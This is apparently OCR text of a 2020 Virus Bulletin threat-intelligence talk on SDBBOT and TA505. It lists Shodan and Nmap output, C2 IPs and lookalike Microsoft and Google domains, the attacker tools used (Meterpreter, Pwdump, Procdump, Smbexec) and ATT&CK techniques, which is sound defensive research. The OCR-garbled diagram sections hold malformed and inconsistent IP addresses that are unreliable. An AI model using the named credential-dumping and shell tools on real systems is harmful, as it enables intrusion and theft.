TLP:WHITE Virus Bulletin 2020



EXCELLIUM
Hunting for SDBBOT

* Label splitting

cloud Drm-server
microsoft Server-drm Autonomous

Drm-server-cloud System

Server-drm-cloud Number
Cloud-drm-server

~120 labels ~397 AS ~12 Sdbbot

server
office
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SDBBOT Hosts strangeness

e Sdbbot is invisible to shodan.io

@ 158.255.208.148 as Ports
Country Heng Kong n H
Organization EDIS GmbH
ISP EDIS GmbH EE Services
Last Update 2020-06-10T06:28:23.374070
Hostnames 148.208.255 rdns.systems
ASN AS57169

OpenSSH

SSH-2.0-0penSSH_7.2p2 Ubuntu-4ubuntu2.8

Nmap scan report for 158.255.208.148
Host is up (8.31s latency).

Operating systems Not shown: 994 closed ports
PORT STATE SERVICE
e Ubuntu 18.4 22/tcp open ssh
443/tcp open https
° Ubuntu 16°4 445/tcp filtered microsoft-ds
° Debian 10 800/tcp open mdbs_daemon

12345/tcp filtered netbus
31337/tcp filtered Elite
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SDBBOT Infrastructure
A59009 —: @ jp-microsoft-store.com

LS

'q-'-.-__
——
—_—

92.38.135.217 =

—
S

{ eu-global-online.com

—|: ( 185.228.83.155 = }
—|: ( 170.75.175.209 11 }
—|: (135.36.148.150 3 )——[ news-server-drm-google.com

( 192.161.167.165 =2 } JSD B 52%;?}
Lne
( 104.223.20.207 =2 }

-

4
drm-google-analtyic.com

-

T

212.80.216.147 = ) ]—
103.175.118.231 & ) ]—

static-google-analtyic.com

A5136258

¥
(19152,16?.233 =1 )—[ drm-server13-login-microsoftonline.com

-

551852 ~|: (190.211.254224 a H eu-global.com
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SDBBOT Infrastructure

———
-
]

[ eu-global-online.com

185.228.83.155 =

170.75.175.209 11 }

185.86.148.150 &= )——[ news-server-drm-google.com

SDBEOTS
August 2020

“~u
drm-google-analtyic.com
¥

(192.52.15?.233 LB )—[ drm-server13-login-microsoftonline.com

—|: (wu.zn.m.zm [+ )——[ eu-global.com

TLP:WHITE
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{9223.105.10?: ) ]—
/—( 185.17.121.188 == ) :l—
—( 158.255.208.148 2 )

92.38.135.217
{ 158.255.208.168 £ _)

facebook-drm-server3.com

)}

212.80.216.147

static-google-analtyic.com

103.175.118.231 &K

;
auxin-box.com 212.83.46.170 = }
-
185.23.86.40 &1

drm-server-booking.com

§8.09.112.82 ==
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10C

SDBBOTS Ip’s
190.211.254.224
192.161.167.165
23.152.0.152
192.52.167.233
92.38.135.217
158.255.208.148
158.255.208.168
51.38.82.162
212.83.46.170
212.83.46.170
190.211.254.224

Used Tools
Tinymet
Smbexec
Procdump
Pwdump
Meterpreter
GET2
Sdbbot

SDBBOT’s Hostnames
eu-global.com
auxin-box.com
drm-google-analtyic.com
drm-server-booking.com
drm-server13-login-
microsoftonline.com
eu-global-online.com
facebook-drm-server3.com
jp-microsoft-store.com
static-google-analtyic.com
news-server-drm-google.com

Domains alleged to TA505
att-download.com
auxin-box.com
box-cnd.com
box-en-au.com
cdn-box.com
cdn-downloads.com
cdn-onedrive-live.com
clients-share.com
clietns-download.com
clouds-cdn.com
clouds-doanload-cnd.com
clouds-share.com
cloud-store-cnd.com
dl-icloud.com

dl-sharefile.com
dl-sync.com
download-cdn.com
download-shares.com
drm-google-analtyic.com
drm-server13-login-
microsoftonline.com
drm-server-booking.com
dyn-downloads.com
eu-global.com
eu-global-online.com
facebook-drm-server3.com
file-downloads.com
fileshare-cdns.com
fileshare-storage.com
general-Icfd.com
get-downloads.com
getlink-service.com
global-logic-stl.com
glr-ltd.com
googledrive-en.com
googledrive-eu.com
home-storages.com
int-download.com
integer-ms-home.com
into-box.com
i-sharecloud.com
jp-microsoft-store.com
live-cnd.com
live-en.com
live-msr.com

live-msr.com
mainten-ferrum.com
microsoft-cnd.com
microsoft-cnd-en.com
microsoft-home-en.com
microsoft-hub-us.com
microsoft-live-us.com
microsoft-sback-server.com
microsoft-store-drm-server.com
microsoft-store-en.com
microsoft-ware.com
ms-break.com
ms-en-microsoft.com
ms-global-store.com
ms-home-store.com
msonebox.com
ms-rdt.com
ms-upgrades.com
office365-update-eu.com
onedrive-cdn.com
onedrive-download.com
onedrive-download-en.com
onedrive-live-en.com
onedrive-sdn.com
onedrives-en-live.com
one-drive-storage.com
onehub-en.com
owncloud-cnd.com
reselling-corp.com
selling-group.com
share-clouds.com

shared-cnd.com
shared-downloading.com
share-downloading.com
sharefile-cnd.com
sharefile-en.com
sharefiles-download.com
shares-cdns.com
shares-cloud.com
sharespoint-en.com
share-stores.com
shr-links.com
stat-downloads.com
static-downloads.com
static-google-analtyic.com
store-in-box.com
stt-box.com
studio-stlsdr.com
tnrff-home.com
update365-office-ens.com
windows-en-us-update.com
windows-fsd-update.com
windows-msd-update.com
windows-office365.com
windows-se-update.com
windows-sys-update.com
windows-wsus-en.com
windows-wsus-eu.com
wpad-home.com
xbox-en-cnd.com
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TTP

Att&ck References

Spear Phishing Link https://attack.mitre.org/techniques/T1192/

User Execution https://attack.mitre.org/techniques/T1204/

Application Shimming https://attack.mitre.org/techniques/T1138/
Registry run keys https://attack.mitre.org/techniques/T1060/

Rundll32 https://attack.mitre.org/techniques/T1085/

Exploitation for privilege escalation https://attack.mitre.org/techniques/T1068/
Process Injection https://attack.mitre.org/techniques/T1055/

Credential dumping https://attack.mitre.org/techniques/T1003/
Commonly used port https://attack.mitre.org/techniques/T1043/
Exfiltration over CC Channel https://attack.mitre.org/techniques/T1041/
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